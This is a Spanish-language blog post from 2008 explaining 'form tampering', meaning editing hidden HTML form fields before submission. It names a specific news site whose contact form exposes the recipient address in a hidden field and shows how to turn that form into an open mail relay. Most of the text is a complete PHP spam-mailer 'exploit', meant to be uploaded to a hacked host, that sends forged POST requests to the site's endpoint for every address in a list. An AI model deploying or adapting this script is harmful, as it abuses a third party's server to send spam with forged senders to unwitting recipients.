domingo, 24 de agosto de 2008

Form Tampering: Modificando Formularios



Saludos!

Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar alguna nimiedad, del estilo de bypassear un filtro de maxlenght en un input. En ningún caso podemos considerar al Form Tampering como una vulnerabilidad, puesto que no se explota nada, hay que entenderlo más bien como una técnica.

Esta técnica consiste en modificar el contenido de un formulario antes de ser enviado. ¿Qué importancia tiene esto? Pues en realidad sólo sirve para poder modificar contenido antes de que sea procesado. La gracia de esta técnica suele ser cuando encontramos en un formulario campos "hidden" cuyo contenido pueda tener mucha relevancia, como por ejemplo un precio (véase el video de Login-RooT acerca de este tema), o como en el caso de perfil.com, podemos construirnos un mailer (vulnerabilidad descubierta por r0dr1g0), o muchas otras cosas, dependiendo de qué campos encontremos.


Seguro que todos vosotros habeis recurrido a modificar el código fuente de un formulario para poder explotar un XSS, el cual no podíais hacer porque había un input con un maxlength que limitaba el número de caracteres que se podían poner. También es común esto en el caso de las SQL Injections dentro de buscadores y que limitan el número de caracteres. Pues bien, esto ya es Form Tampering, ya que lo modificamos "antes" de enviar la petición. Por el contrario, si lo que hacemos es modificar la petición a través de algún sniffer de cabeceras (como Live HTTP Headers, Tamper Data, Achilles, etc) no se trataría de Form Tampering, puesto que lo que hacemos no es modificar el formulario.


Para poder modificar los campos de los formularios podemos valernos de diversas herramientas, ya sean modificar el código fuente desde el propio navegador, o usar ADD ONS que nos faciliten el trabajo, como el Web Developer Tool Bar. El uso de este add on es sencillo (pueden buscarlo en la web oficial de FireFox) simplemente debemos de posicionarnos en la web que queremos ver el contenido de sus formularios, vamos a la Toolbar que se qeuda en el navegador y seleccionamos la casilla Forms (la cuarta desde la izquierda). Allí marcamos "Display Form Details" y se nos motrarán todos los campos del formulario, permitiendonos modificar los campos "hidden".


Si bien al inicio de este artículo mencioné la vulnerabilidad de Perfil.com que permitía construir un mailer, ahora será cuando ejemplifiquemos cómo usar Form Tampering para explotarla.

Si vamos a esta web ( http://www.perfil.com/contactenos.html ) y mostramos los formularios ocultos... ¿Qué encontramos? <input name="to"> Fijaros que contiene! es el E-mail de Perfil.com Si lo modificamos y añadimos un correo nuestro, y ponemos un nombre de correo inexistente, vereis como nos llega un correo Inbox a nuestra bandeja de entrada desde el correo inexistente :D.


Ahora debemos de analizar porqué el webmaster a dejado esta falla tan grande. Fijaros en la extensión de la página de envío de mails, se trata de .html, luego es una página estática. En las páginas estáticas no existe la posibilidad de crear variables que no se vean con la direccion del correo (como pasa en PHP o ASP), luego el webmaster debe de incluirlo dentro del formulario... y para "ocultarlo" lo ponen como hidden...


Bueno espero que les haya sido de utilidad este paper sobre Form Tampering, para culminar les dejo aquí un exploit para el mailer codeado por Keynet (hay que subirlo a un HackedHost que permita las funciones de Fsockopen:

<title>Mailer ilimitado (#RE) - by KeyNet</title>
<style>
*{
background-color:#000000;
color:#CCCCCC;
font-family:Verdana;
font-size:10px;
border-color:white;
}
#boton{
background:none;
border:solid;
border-width:1px;
}
#no
{
color:red;
}
#yes
{
color:orange;
}
a,a:link,a:visited,a:active
{
color:#ffffff;
text-decoration:none;
}
a:hover
{
color:#CCCCCC;
}
</style>
<FORM id="Form1" name="EnviarForm" method="post" action="">
<table>
<tr>
<td>Asunto: </td>
<td><input type="text" name="nombreFrom" value="<?php if($nombreFrom!=""){echo $nombreFrom;}else{echo 'el asunto de siempre..';}?>" size="40"></td>
<tr>
<td>mail emisor: </td>
<td><input type="text" name="from" value="<?php if($from!=""){echo $from;}else{echo 'cualquiera@gmail.com';}?>" size="40"></td>
</tr>
</table>
<table>
<tr>
<td><textarea name="comentario" rows="12" cols="50"><?php if($comentario!=""){echo $comentario;}else{echo 'visita www.remoteexecution.org';}?></textarea></td>
<td><textarea name="to" rows="12" cols="50"><?php if($to!=""){echo $to;}else{echo 'spammeame@gmail.com'."\n".'amitambienarre@hotmail.com';}?></textarea></td>
</tr>
</table>
<input type="submit" value="ENVIAR" name="Submit"/>
</form>
<?php
@set_time_limit(0);
$nombreFrom = $_POST['nombreFrom'];
$from = $_POST['from'];
$comentario = $_POST['comentario'];
$Submit = $_POST['Submit'];
$to = $_POST['to'];
$count = 0;
if(isset($Submit))
{
$mail_clean = explode("\n",$to);
$count_mails = count($mail_clean);
for($for1=0;$for1<$count_mails;$for1++)
{
$mailto = trim($mail_clean[$for1]);
if(strpos($mailto,'@'))
{
$clean_name = explode('@',$mailto);
$nombreto = $clean_name[0];
$host = 'www.perfil.com';
$path2crack = '/system/modules/com.tfsla.perfil.diario/elements/comentarios_send.jsp'
;
$log_string = 'to='.urlencode($mailto).'&nombreTo='.urlencode($nombreto).'&nombreFrom='.urlencode
($nombreFrom).'&from='.urlencode($from).'&comentario='.urlencode($comentario).'
&Submit=ENVIAR';
$count_log_string = strlen($log_string);
$header = "POST ".$path2crack." HTTP/1.1\r\n";
$header .= "Host: ".$host."\r\n";
$header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/
png,image/jpg,image/gif,*/*;q=0.5\r\n";
$header .= "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Keep-Alive: 300\r\n";
$header .= "Proxy-Connection: keep-alive\r\n";
$header .= "Referer: http://".$host.$path2crack."\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".$count_log_string."\r\n\r\n";
$header .= $log_string."\r\n\r\n";
$socket = fsockopen($host,80);
fwrite($socket,$header);
$count++;
printf("<li>%s SPAMMED (%d) !!</li>",htmlentities($mailto),$count);
}
}
print '<script>alert("'.$count.' mails spammed !!")</script>';
}
?>
5 0verl0ad Labs: Form Tampering: Modificando Formularios Saludos! Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar algu...

No hay comentarios:

< >